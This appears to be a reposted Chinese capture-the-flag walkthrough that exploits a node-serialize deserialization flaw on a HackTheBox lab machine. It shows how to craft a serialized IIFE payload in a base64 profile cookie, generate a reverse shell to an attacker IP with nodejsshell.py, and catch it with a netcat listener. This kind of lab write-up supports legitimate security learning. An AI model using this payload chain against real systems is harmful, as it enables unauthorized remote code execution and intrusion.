Nodejs反序列化漏洞利用

栏目: Node.js · 发布时间: 6年前

内容简介:目标机- Hackthebox节点机(10.10.10.85:3000)攻击者机器- Kali linux需要的工具- nodejs, npm, [nodejs工具包],node-serialize

演示环境

目标机- Hackthebox节点机(10.10.10.85:3000)

攻击者机器- Kali linux

需要的工具- nodejs, npm, [nodejs工具包],node-serialize

关于反序列化攻击

不受信任的数据被传递到 unserialize() 函数,这导致我们可以绕过 JavaScript 对象的函数表达式 IIFE 来实现任意的代码执行。首先我们在 apt-get 命令下安装nodejs包,如下所示: apt-get install nodejs

Nodejs反序列化漏洞利用

在下一步中,您需要在CURL命令下安装 npm 程序(使用npm 进一步安装 node-serialize 包),如下所示: curl -L https://www.npmjs.com/install.sh | sh

Nodejs反序列化漏洞利用

安装和配置完Nodejs和Npm之后,还要安装 node-serialize 包,输入 “ npm install node-serialize ” ,如下所示:

Nodejs反序列化漏洞利用

我们已经与HacktheBox服务器连接,其服务器的IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认) 。

Nodejs反序列化漏洞利用

第一步,我们使用Burp Suite捕获上述Nodejs的GET请求,如下所示:

Nodejs反序列化漏洞利用 第二步中,选择cookie值并将其发送到Decoder选项进行进一步解密。 Nodejs反序列化漏洞利用

这个漏洞在于,它从HTTP请求中读取一个名为 profilecookie 值,并对cookie值进行base64解码,并将其传递给 unserialize() 函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。

Nodejs反序列化漏洞利用 第三步,您需要下载Ajin Abraham开发的Nodejs Security Toolkit工具,要安装Nodejs Security Toolkit,请在终端中键入以下命令。 git clone https://github.com/ajinabraham/Node.Js-Security-Course.git Nodejs反序列化漏洞利用 要创建一个反向shell,首先,您需要输入 “ ifconfig ”`` 找出IP ,然后运行以下命令: python nodejsshell.py 10.10.14.145 4443` Nodejs反序列化漏洞利用 这是最后反向shell payload的输出。 Nodejs反序列化漏洞利用

现在让我们使用以下javascript生成序列化的payload

代码如下

var y = {
rce : function() {}
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));
Nodejs反序列化漏洞利用

用大括号 {    eval(String.from .........   } )添加上面的 payload 输出,如下所示:

Nodejs反序列化漏洞利用

将文件另存为 exploit.js 并使用node命令运行,该命令生成最终的序列化payload,如下所示: node exploit.js

Nodejs反序列化漏洞利用

现在回到BurpSuite,导航到Decoder选项卡,将上面的输出代码粘贴到Textarea中,解码之前,在函数体后添加IIFE方括号(),在这里,我们需要Base64的编码,然后在Cookie头值中使用编码的payload向web服务器发出请求。

Nodejs反序列化漏洞利用

然后使用Repeater发送相同的请求。

Nodejs反序列化漏洞利用

在Repeater选项中,您需要将cookie值替换为我们从上面步骤生成的base64编码值,然后单击 GO 按钮。

Nodejs反序列化漏洞利用

同时,确保你的netcat服务在相同的端口上监听,例如4443(它的反向 shell 负载端口是相同的) nc -lvp 4443

Nodejs反序列化漏洞利用

一旦你单击Go按钮,请求将命中到服务器,显示 200 OK 响应,并显示一条错误消息 “ 发生错误...无效的用户名类型 ” ,并立即在netcat终端中与该服务器连接,状态为 “ 已连接” “

Nodejs反序列化漏洞利用

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

引爆点

引爆点

[美] 马尔科姆·格拉德威尔 / 钱清、覃爱冬 / 中信出版社 / 2009-8 / 27.00元

我们的世界看上去很坚固,但在《纽约客》怪才格拉德威尔的眼里,只要你找到那个点,轻轻一触,这个世界就会动起来:一位满意而归的顾客能让新开张的餐馆座无虚席,一位涂鸦爱好者能在地铁掀起犯罪浪潮,一位精明小伙传递的信息拉开了美国独立战争的序幕——这个看起来不起眼的点,却是任何人都不能忽视的引爆点。 《引爆点》是一本谈论怎样让产品发起流行潮的专门性著作。书中将产品爆发流行的现象归因为三种模式:个别人物......一起来看看 《引爆点》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具